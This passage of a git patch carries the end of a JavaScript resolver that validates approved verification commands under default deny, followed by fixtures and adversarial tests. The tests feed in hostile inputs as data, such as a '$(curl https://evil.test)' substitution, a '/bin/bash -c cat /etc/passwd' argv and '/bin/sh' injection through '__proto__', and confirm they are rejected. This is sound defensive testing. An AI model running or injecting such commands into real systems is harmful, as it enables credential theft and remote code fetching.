Function.prototype.call.bind(String.prototype.toLowerCase); +const ARRAY_PUSH = Array.prototype.push; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyRequestKey(key) { + if (key === 'policy' || key === 'selection') return null; + const folded = foldKey(key); + if (folded === 'policy' || folded === 'selection') return 'unknown_key'; + if (capturedIncludes(AUTHORITY_FOLDS, folded)) return 'authority_denied'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertRequestKeys(value, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + const code = classifyRequestKey(key); + if (code !== null) deny(code, path); + } + for (let index = 0; index < REQUEST_REQUIRED_KEYS.length; index += 1) { + const key = REQUEST_REQUIRED_KEYS[index]; + if (!hasOwn(value, key)) deny('missing_key', `${path}.${key}`); + } +} + +function isDotOnly(segment) { + if (typeof segment !== 'string' || segment.length === 0) return false; + for (let index = 0; index < segment.length; index += 1) { + if (STRING_CHAR_CODE_AT(segment, index) !== 0x2e) return false; + } + return true; +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return freezeRecord(IDENTITY_RECEIPT_KEYS, { + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +function findCommand(policy, commandId) { + const commands = policy.commands; + for (let index = 0; index < commands.length; index += 1) { + const command = commands[index]; + if (command.command_id === commandId) return command; + } + return undefined; +} + +function placeholderName(token) { + return STRING_SLICE(token, 1, token.length - 1); +} + +function requiredParameterNames(command) { + const required = []; + const seen = new SET_CTOR(); + const template = command.argv_template; + for (let index = 0; index < template.length; index += 1) { + const token = template[index]; + if (!capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token) + && !capturedTest(PLACEHOLDER_PATTERN, token)) { + continue; + } + const name = placeholderName(token); + if (SET_HAS.call(seen, name)) deny('duplicate_parameter', 'request.selection.parameters'); + SET_ADD.call(seen, name); + ARRAY_PUSH.call(required, name); + } + return required; +} + +function assertCanonicalInteger(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || !NUMBER_IS_FINITE(value) + || capturedObjectIs(value, -0)) { + deny('invalid_type', path); + } + if (value < min || value > max) deny('out_of_range', path); + return value; +} + +function assertCanonicalStringToken(value, path, maxBytes, pattern) { + if (typeof value !== 'string') deny('invalid_type', path); + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > maxBytes) deny('out_of_range', path); + if (!capturedTest(pattern, value)) deny('invalid_format', path); + if (STRING_STARTS_WITH(value, '-')) deny('option_smuggling_denied', path); + return value; +} + +function validateParameterValue(value, domain, path) { + const type = domain.type; + if (!capturedIncludes(PARAMETER_TYPES, type)) deny('invalid_format', path); + if (type === 'boolean') { + if (value !== true && value !== false) deny('invalid_type', path); + return value; + } + if (type === 'integer') { + return assertCanonicalInteger(value, path, domain.min, domain.max); + } + if (type === 'enum') { + if (typeof value !== 'string') deny('invalid_type', path); + const values = domain.values; + for (let index = 0; index < values.length; index += 1) { + if (values[index] === value) return value; + } + deny('invalid_format', path); + } + if (type === 'path_segment') { + const token = assertCanonicalStringToken( + value, path, domain.max_bytes, PRIVATE_PATH_SEGMENT_PATTERN, + ); + if (isDotOnly(token)) deny('invalid_format', path); + return token; + } + return assertCanonicalStringToken(value, path, domain.max_bytes, PRIVATE_LITERAL_PATTERN); +} + +function canonicalArgvToken(value, type) { + if (type === 'boolean') return value === true ? 'true' : 'false'; + if (type === 'integer') return STRING(value); + return value; +} + +function validateParameters(command, provided, path) { + const domain = command.parameters; + const declared = sortedCapturedKeys(domain); + const providedKeys = sortedCapturedKeys(provided); + if (providedKeys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < providedKeys.length; index += 1) { + const key = providedKeys[index]; + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + if (!capturedHasOwn(domain, key)) deny('unknown_key', path); + values[key] = validateParameterValue(provided[key], domain[key], `${path}.${key}`); + } + const required = requiredParameterNames(command); + for (let index = 0; index < required.length; index += 1) { + const name = required[index]; + if (!SET_HAS.call(seen, name)) deny('missing_key', `${path}.${name}`); + } + for (let index = 0; index < declared.length; index += 1) { + const name = declared[index]; + if (SET_HAS.call(seen, name)) continue; + deny('missing_key', `${path}.${name}`); + } + return freezeRecord(sortedCapturedKeys(values), values); +} + +function expandArgv(command, parameters, path) { + const template = command.argv_template; + const argv = []; + const used = new SET_CTOR(); + for (let index = 0; index < template.length; index += 1) { + const token = template[index]; + const entryPath = `${path}[${index}]`; + if (capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token) + || capturedTest(PLACEHOLDER_PATTERN, token)) { + const name = placeholderName(token); + if (!capturedHasOwn(parameters, name)) deny('placeholder_unbound', entryPath); + if (SET_HAS.call(used, name)) deny('duplicate_parameter', entryPath); + SET_ADD.call(used, name); + const domain = command.parameters[name]; + const expanded = canonicalArgvToken(parameters[name], domain.type); + if (typeof expanded !== 'string' || capturedUtf8ByteLength(expanded) > MAX_ARGV_TOKEN_BYTES) { + deny('out_of_range', entryPath); + } + if (!capturedTest(PRIVATE_LITERAL_PATTERN, expanded) + && !capturedTest(PRIVATE_PATH_SEGMENT_PATTERN, expanded)) { + deny('shell_content_denied', entryPath); + } + ARRAY_PUSH.call(argv, expanded); + continue; + } + ARRAY_PUSH.call(argv, token); + } + return freezeList(argv); +} + +function cloneHosts(hosts) { + const clone = []; + for (let index = 0; index < hosts.length; index += 1) { + ARRAY_PUSH.call(clone, hosts[index]); + } + return freezeList(clone); +} + +function cloneEnvironment(environment) { + const entries = []; + const source = environment.entries; + for (let index = 0; index < source.length; index += 1) { + const entry = source[index]; + ARRAY_PUSH.call(entries, freezeRecord(ENV_ENTRY_ALLOWED_KEYS, { + name: entry.name, + value: entry.value, + })); + } + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList(entries) }); +} + +function inheritConstraints(command) { + return { + network: freezeRecord(NETWORK_ALLOWED_KEYS, { + mode: command.network.mode, + hosts: cloneHosts(command.network.hosts), + }), + environment: cloneEnvironment(command.environment), + mutation: freezeRecord(MUTATION_ALLOWED_KEYS, { + persistent: command.mutation.persistent === true, + workspace: command.mutation.workspace, + }), + timeout_ms: command.timeout_ms, + resources: freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: command.resources.max_output_bytes, + max_error_bytes: command.resources.max_error_bytes, + }), + }; +} + +function assertTrustedPolicyShape(value, path) { + assertPlainObject(value, 'invalid_type', path, path); + if (capturedIsArray(value)) deny('invalid_type', path); +} + +function cloneStringList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return clone; +} + +function reconstructDomain(domain) { + const type = domain.type; + if (type === 'integer') return { type, min: domain.min, max: domain.max }; + if (type === 'enum') return { type, values: cloneStringList(domain.values) }; + if (type === 'boolean') return { type }; + return { type, max_bytes: domain.max_bytes }; +} + +function reconstructCommand(command) { + const raw = { + command_id: command.command_id, + executable: command.executable, + argv_template: cloneStringList(command.argv_template), + }; + const paramNames = sortedCapturedKeys(command.parameters); + if (paramNames.length > 0) { + const parameters = {}; + for (let index = 0; index < paramNames.length; index += 1) { + const name = paramNames[index]; + parameters[name] = reconstructDomain(command.parameters[name]); + } + raw.parameters = parameters; + } + const network = command.network; + if (network !== undefined && network.mode === 'allowlist') { + raw.network = { mode: 'allowlist', hosts: cloneStringList(network.hosts) }; + } + const entries = command.environment === undefined ? [] : command.environment.entries; + if (entries.length > 0) { + const copied = []; + for (let index = 0; index < entries.length; index += 1) { + ARRAY_PUSH.call(copied, { name: entries[index].name, value: entries[index].value }); + } + raw.environment = { entries: copied }; + } + const mutation = command.mutation; + if (mutation !== undefined && (mutation.persistent === true || mutation.workspace !== 'none')) { + raw.mutation = { persistent: mutation.persistent === true, workspace: mutation.workspace }; + } + if (command.timeout_ms !== DEFAULT_TIMEOUT_MS) raw.timeout_ms = command.timeout_ms; + const resources = command.resources; + if (resources !== undefined) { + const maxOutput = resources.max_output_bytes; + const maxError = resources.max_error_bytes; + if (maxOutput !== DEFAULT_OUTPUT_BYTES || maxError !== DEFAULT_ERROR_BYTES) { + raw.resources = {}; + if (maxOutput !== DEFAULT_OUTPUT_BYTES) raw.resources.max_output_bytes = maxOutput; + if (maxError !== DEFAULT_ERROR_BYTES) raw.resources.max_error_bytes = maxError; + } + } + return raw; +} + +function looksLikePolicySnapshot(value, path) { + if (!hasOwn(value, 'commands')) return false; + const commands = optOwn(value, 'commands'); + if (!capturedIsArray(commands) || commands.length < 1) return false; + for (let index = 0; index < commands.length; index += 1) { + const command = optOwn(commands, STRING(index)); + if (command === undefined || command === null || typeof command !== 'object') return false; + const keys = ownKeysOrDeny(command, `${path}.commands[${index}]`); + if (keys.length !== COMMAND_RECEIPT_KEYS.length) return false; + for (let keyIndex = 0; keyIndex < COMMAND_RECEIPT_KEYS.length; keyIndex += 1) { + if (!hasOwn(command, COMMAND_RECEIPT_KEYS[keyIndex])) return false; + } + const network = optOwn(command, 'network'); + if (network === undefined || typeof network !== 'object' || capturedIsArray(network)) { + return false; + } + if (!hasOwn(network, 'hosts') || !hasOwn(network, 'mode')) return false; + } + return true; +} + +function consumeTrustedPolicy(input, path) { + if (looksLikePolicySnapshot(input, path)) { + const commandsInput = optOwn(input, 'commands'); + const commands = []; + for (let index = 0; index < commandsInput.length; index += 1) { + ARRAY_PUSH.call(commands, reconstructCommand(optOwn(commandsInput, STRING(index)))); + } + const reconstructed = { + schema: optOwn(input, 'schema'), + version: optOwn(input, 'version'), + commands, + }; + const parsed = parseVerificationPolicyV1(reconstructed, path); + if (canonicalJsonStringify(parsed) !== canonicalJsonStringify(input)) { + deny('invalid_format', path); + } + return parsed; + } + return parseVerificationPolicyV1(input, path); +} + +export function resolveApprovedVerificationCommandV1(input, path = 'request') { + assertNotProxy(input, path); + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertRequestKeys(input, path); + const policyInput = optOwn(input, 'policy'); + assertTrustedPolicyShape(policyInput, `${path}.policy`); + const policy = consumeTrustedPolicy(policyInput, `${path}.policy`); + const selectionInput = optOwn(input, 'selection'); + const selection = parseUntrustedCommandReferenceV1(selectionInput, `${path}.selection`); + const command = findCommand(policy, selection.command_id); + if (command === undefined) deny('unknown_command', `${path}.selection.command_id`); + const parameters = validateParameters( + command, + selection.parameters, + `${path}.selection.parameters`, + ); + const argv = expandArgv(command, parameters, `${path}.selection`); + const constraints = inheritConstraints(command); + const policyIdentity = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); + const commandIdentity = digestOf(VERIFICATION_COMMAND_DIGEST_LABEL, command); + const executableClosureIdentity = digestOf( + EXECUTABLE_CLOSURE_DIGEST_LABEL, + freezeRecord(capturedFreeze(['argv', 'executable']), { + executable: command.executable, + argv, + }), + ); + const body = freezeRecord(RECEIPT_BODY_KEYS, { + schema: APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + version: APPROVED_VERIFICATION_COMMAND_VERSION, + command_id: command.command_id, + parameters, + executable: command.executable, + argv, + network: constraints.network, + environment: constraints.environment, + mutation: constraints.mutation, + timeout_ms: constraints.timeout_ms, + resources: constraints.resources, + policy_identity: policyIdentity, + command_identity: commandIdentity, + executable_closure_identity: executableClosureIdentity, + }); + const planIdentity = digestOf(APPROVED_COMMAND_DIGEST_LABEL, body); + return freezeRecord(RECEIPT_KEYS, { + schema: body.schema, + version: body.version, + command_id: body.command_id, + parameters: body.parameters, + executable: body.executable, + argv: body.argv, + network: body.network, + environment: body.environment, + mutation: body.mutation, + timeout_ms: body.timeout_ms, + resources: body.resources, + policy_identity: body.policy_identity, + command_identity: body.command_identity, + executable_closure_identity: body.executable_closure_identity, + plan_identity: planIdentity, + }); +} + +export function canonicalApprovedVerificationCommandJsonV1(input, path = 'request') { + return canonicalJsonStringify(resolveApprovedVerificationCommandV1(input, path)); +} + +export function approvedVerificationCommandDigestV1(input, path = 'request') { + return resolveApprovedVerificationCommandV1(input, path).plan_identity; +} + +export const APPROVED_VERIFICATION_COMMAND_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + version: APPROVED_VERIFICATION_COMMAND_VERSION, + label: APPROVED_COMMAND_DIGEST_LABEL, + closure_label: EXECUTABLE_CLOSURE_DIGEST_LABEL, + request_keys: REQUEST_ALLOWED_KEYS, + selection_keys: SELECTION_ALLOWED_KEYS, + receipt_keys: RECEIPT_KEYS, + default_deny: capturedFreeze({ + network: DEFAULT_NETWORK_RECEIPT, + environment: DEFAULT_ENVIRONMENT_RECEIPT, + mutation: DEFAULT_MUTATION_RECEIPT, + resources: DEFAULT_RESOURCES_RECEIPT, + timeout_ms: DEFAULT_TIMEOUT_MS, + }), +}); + +capturedFreeze(resolveApprovedVerificationCommandV1); +capturedFreeze(canonicalApprovedVerificationCommandJsonV1); +capturedFreeze(approvedVerificationCommandDigestV1); From 8cda8327137f1c436d5fe7820950ee9a79ccacdd Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:03:08 +0000 Subject: [PATCH 57/81] test(verify): cover focused and adversarial approved-command surfaces Pin valid domain and template expansion, deterministic identity, default deny for missing policy/command/authority, provider/profile/manifest matching-text ineligibility, value/template injection, hostile descriptors, caller non-mutation, frozen fresh receipts, content-free failures, and the absence of spawn, PATH, and network access. --- ...approved-verification-command-fixtures.mjs | 85 +++ ...-verification-command-adversarial.test.mjs | 377 ++++++++++++ .../r1-approved-verification-command.test.mjs | 568 ++++++++++++++++++ 3 files changed, 1030 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs new file mode 100644 index 0000000..46ddfcd --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-approved-verification-command-fixtures.mjs @@ -0,0 +1,85 @@ +// Shared fixtures for the W15-P16B approved-command resolver tests. +// Pure data and tiny local helpers; no I/O and no product imports beyond +// the P16A policy fixtures. + +import { + countingProxy, + trapTotal, + validCommand, + validParameterizedCommand, + validPolicy, +} from './r1-verification-policy-fixtures.mjs'; + +export { + countingProxy, + trapTotal, + validCommand, + validParameterizedCommand, + validPolicy, +}; + +export function validTypedCommand(overrides = {}) { + return validCommand({ + command_id: 'typed-run', + argv_template: [ + 'run', '--file', '{file}', '--count', '{count}', '--ok', '{ok}', + '--mode', '{mode}', '--note', '{note}', + ], + parameters: { + count: { type: 'integer', min: 0, max: 8 }, + file: { type: 'path_segment', max_bytes: 64 }, + mode: { type: 'enum', values: ['ci', 'local'] }, + note: { type: 'string', max_bytes: 32 }, + ok: { type: 'boolean' }, + }, + ...overrides, + }); +} + +export function validTypedParameters(overrides = {}) { + return { + count: 2, + file: 'spec.js', + mode: 'ci', + note: 'unit', + ok: true, + ...overrides, + }; +} + +export function validSelection(overrides = {}) { + return { + command_id: 'unit-tests', + ...overrides, + }; +} + +export function validRequest(overrides = {}) { + return { + policy: validPolicy(), + selection: validSelection(), + ...overrides, + }; +} + +export function parameterizedRequest(overrides = {}) { + return { + policy: validPolicy({ commands: [validParameterizedCommand()] }), + selection: { + command_id: 'file-tests', + parameters: { file: 'spec.js' }, + }, + ...overrides, + }; +} + +export function typedRequest(overrides = {}) { + return { + policy: validPolicy({ commands: [validTypedCommand()] }), + selection: { + command_id: 'typed-run', + parameters: validTypedParameters(), + }, + ...overrides, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs new file mode 100644 index 0000000..c791ed0 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-approved-verification-command-adversarial.test.mjs @@ -0,0 +1,377 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_POLICY_OBJECT_KEYS, + parseVerificationPolicyV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + resolveApprovedVerificationCommandV1, +} from '../mcp/v3/approved-verification-command.mjs'; +import { + countingProxy, + parameterizedRequest, + trapTotal, + typedRequest, + validCommand, + validPolicy, + validRequest, + validSelection, + validTypedParameters, +} from './fixtures/r1-approved-verification-command-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('live proxies are denied with zero traps on every resolver surface', () => { + const { proxy, counts } = countingProxy(validRequest()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const policyCounts = countingProxy(validPolicy()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({ + policy: policyCounts.proxy, + selection: validSelection(), + })).code, 'proxy_denied'); + assert.equal(trapTotal(policyCounts.counts), 0); + + const selectionCounts = countingProxy(validSelection()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: selectionCounts.proxy, + })).code, 'proxy_denied'); + assert.equal(trapTotal(selectionCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validRequest(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => resolveApprovedVerificationCommandV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + assert.equal(error.message.includes('revoked get'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterRequest = validRequest(); + Object.defineProperty(getterRequest, 'policy', { + enumerable: true, + get() { + reads += 1; + return validPolicy(); + }, + }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingSelection = validSelection(); + Object.defineProperty(throwingSelection, 'command_id', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb /etc/shadow'); + }, + }); + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: throwingSelection, + })); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(throwingReads, 0); + assert.equal(error.message.includes('/etc/shadow'), false); + assert.equal(error.message.includes('getter bomb'), false); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validRequest(); + Object.defineProperty(hidden, 'selection', { enumerable: false, value: validSelection() }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(hidden)).code, 'non_enumerable_property_denied'); + + const symbolled = validRequest(); + symbolled[Symbol('injected')] = '/bin/sh'; + const symbolError = errorOf(() => resolveApprovedVerificationCommandV1(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assert.equal(symbolError.message.includes('/bin/sh'), false); + + class SpoofedRequest {} + const instance = new SpoofedRequest(); + Object.assign(instance, validRequest()); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(new Date())).code, 'invalid_type'); + + const nullProto = Object.create(null); + Object.assign(nullProto, validRequest()); + assert.doesNotThrow(() => resolveApprovedVerificationCommandV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(validRequest({ policy: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return validPolicy(); } }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(validRequest({ policy: sneaky }))).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + + let stringed = 0; + const noisy = { + toString() { + stringed += 1; + return 'unit-tests'; + }, + valueOf() { + stringed += 1; + return 'unit-tests'; + }, + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: noisy }, + })).code, + 'invalid_json_type', + ); + assert.equal(stringed, 0); + + const boxed = validRequest({ + selection: { command_id: new String('unit-tests') }, + }); + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('hostile iterators never run', () => { + let walked = 0; + const iteratorParams = { + file: 'spec.js', + [Symbol.iterator]() { + walked += 1; + throw new Error('iterator bomb'); + }, + }; + const error = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: iteratorParams }, + }))); + assert.equal(error.code, 'symbol_key_denied'); + assert.equal(walked, 0); + assert.equal(error.message.includes('iterator bomb'), false); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validRequest(); + cyclic.self = cyclic; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validRequest(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < 40; index += 1) deep = { wrapped: deep }; + const deepRequest = validRequest(); + deepRequest.deep = deep; + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(deepRequest)).code, 'value_depth_exceeded'); + + const wide = validRequest(); + for (let index = 0; index < MAX_POLICY_OBJECT_KEYS; index += 1) { + wide[`extra_${index}`] = true; + } + assert.equal(errorOf(() => resolveApprovedVerificationCommandV1(wide)).code, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validRequest(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(unknownButHostile)).code, + 'aliased_reference_denied', + ); +}); + +test('prototype pollution keys are unknown and do not grant authority', () => { + const polluted = validRequest(); + Object.defineProperty(polluted, '__proto__', { + enumerable: true, + configurable: true, + writable: true, + value: { command_id: 'unit-tests', executable: '/bin/sh' }, + }); + const error = errorOf(() => resolveApprovedVerificationCommandV1(polluted)); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('/bin/sh'), false); + assert.equal(error.message.includes('__proto__'), false); + assert.equal(error.message.includes('unit-tests'), false); + + const ctor = validRequest(); + ctor.constructor = { prototype: { executable: '/bin/sh' } }; + const ctorError = errorOf(() => resolveApprovedVerificationCommandV1(ctor)); + assert.equal(ctorError.code, 'unknown_key'); + assert.equal(ctorError.message.includes('/bin/sh'), false); +}); + +test('sparse and extended arrays on selection parameters are denied', () => { + const parameters = []; + parameters[0] = 'spec.js'; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters }, + }))).code, + 'invalid_type', + ); + + const extended = { file: 'spec.js' }; + Object.defineProperty(extended, 'length', { value: 1, enumerable: true }); + const extendedError = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: extended }, + }))); + assert.ok(extendedError.code === 'unknown_key' || extendedError.code === 'invalid_format' + || extendedError.code === 'invalid_type'); +}); + +test('non-finite and unsafe integers never coerce into canonical parameters', () => { + for (const value of [Number.NaN, Infinity, -Infinity]) { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: value }), + }, + }))).code, + 'invalid_json_value', + String(value), + ); + } + for (const value of [1.5, -0]) { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: value }), + }, + }))).code, + 'invalid_type', + String(value), + ); + } +}); + +test('Unicode, confusable, and control command IDs stay closed', () => { + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit\u2010tests' }, + })).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit\u0301-tests' }, + })).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'Unit-Tests' }, + })).code, + 'invalid_format', + ); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit-tests\n' }, + })).code, + 'control_character_denied', + ); +}); + +test('receipts stay frozen, fresh, and detached from caller graphs', () => { + const request = validRequest(); + const first = resolveApprovedVerificationCommandV1(request); + const second = resolveApprovedVerificationCommandV1(request); + assert.notEqual(first, second); + assert.notEqual(first.argv, second.argv); + assert.notEqual(first.parameters, second.parameters); + assert.notEqual(first.network, second.network); + assert.equal(Object.isFrozen(first), true); + assert.equal(Object.isFrozen(first.argv), true); + assert.equal(Object.isFrozen(first.network), true); + assert.equal(Object.isFrozen(first.policy_identity), true); + assert.equal(Object.isFrozen(first.plan_identity), true); + assert.equal(first.plan_identity.digest, second.plan_identity.digest); + request.selection.command_id = 'mutated'; + assert.equal(first.command_id, 'unit-tests'); + assert.equal(Object.isFrozen(request), false); +}); + +test('content-free errors never echo attacker keys, paths, URLs, or native stacks', () => { + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + extra: { argv: ['/bin/bash', '-c', 'cat /etc/passwd'], url: 'https://steal.test' }, + })); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('extra'), false); + assert.equal(error.message.includes('/bin/bash'), false); + assert.equal(error.message.includes('/etc/passwd'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); + assert.equal(error.message.includes('at resolve'), false); + + const valueError = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file: '$(curl https://evil.test)' } }, + }))); + assert.equal(valueError.code, 'shell_content_denied'); + assert.equal(valueError.message.includes('curl'), false); + assert.equal(valueError.message.includes('evil.test'), false); + assert.equal(valueError.message.includes('$('), false); +}); + +test('trusted P16A snapshots can be consumed without freezing the caller snapshot', () => { + const parsed = parseVerificationPolicyV1(validPolicy()); + const request = { policy: parsed, selection: validSelection() }; + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(receipt.command_id, 'unit-tests'); + assert.equal(Object.isFrozen(parsed), true); + assert.equal(Object.isFrozen(request), false); + assert.throws(() => { parsed.commands[0].command_id = 'x'; }, TypeError); + assert.equal(receipt.command_id, 'unit-tests'); +}); + +test('a parsed policy with no matching command still default-denies', () => { + const parsed = parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'other-tests' })], + })); + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: parsed, + selection: validSelection(), + })); + assert.equal(error.code, 'unknown_command'); + assert.equal(error.message.includes('unit-tests'), false); + assert.equal(error.message.includes('other-tests'), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs b/plugins/codex-co-engineer/test/r1-approved-verification-command.test.mjs new file mode 100644 index 0000000..9766395 --- /dev/null +++ 